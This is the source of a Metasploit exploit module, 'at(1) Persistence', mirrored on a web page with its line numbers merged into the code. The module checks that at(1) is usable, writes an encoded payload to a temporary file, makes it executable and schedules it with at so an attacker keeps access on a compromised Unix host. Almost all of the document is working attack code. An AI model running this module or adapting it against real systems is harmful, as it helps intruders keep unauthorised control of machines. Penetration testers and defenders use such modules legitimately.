Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/local/at_persistence.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'at(1) Persistence',16'Description' => %q{17This module achieves persistence by executing payloads via at(1).18},19'License' => MSF_LICENSE,20'Author' => [21'Jon Hart <[email protected]>'22],23'Targets' => [['Automatic', {} ]],24'DefaultTarget' => 0,25'Platform' => %w[unix],26'Arch' => ARCH_CMD,27'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html28'Notes' => {29'Reliability' => [REPEATABLE_SESSION],30'Stability' => [CRASH_SAFE],31'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]32}33)34)3536register_options([37OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])38])3940register_advanced_options([41OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])42])43end4445def check46token = Rex::Text.rand_text_alphanumeric(8)47if cmd_exec("atq && echo #{token}").include?(token)48CheckCode::Vulnerable49else50CheckCode::Safe51end52end5354def exploit55unless check == Exploit::CheckCode::Vulnerable56fail_with(Failure::NoAccess, 'User denied cron via at.deny')57end5859unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))60fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')61end6263write_file(payload_file, payload.encoded)64register_files_for_cleanup(payload_file)6566cmd_exec("chmod 700 #{payload_file}")67cmd_exec("at -f #{payload_file} #{datastore['TIME']}")6869print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")70end71end727374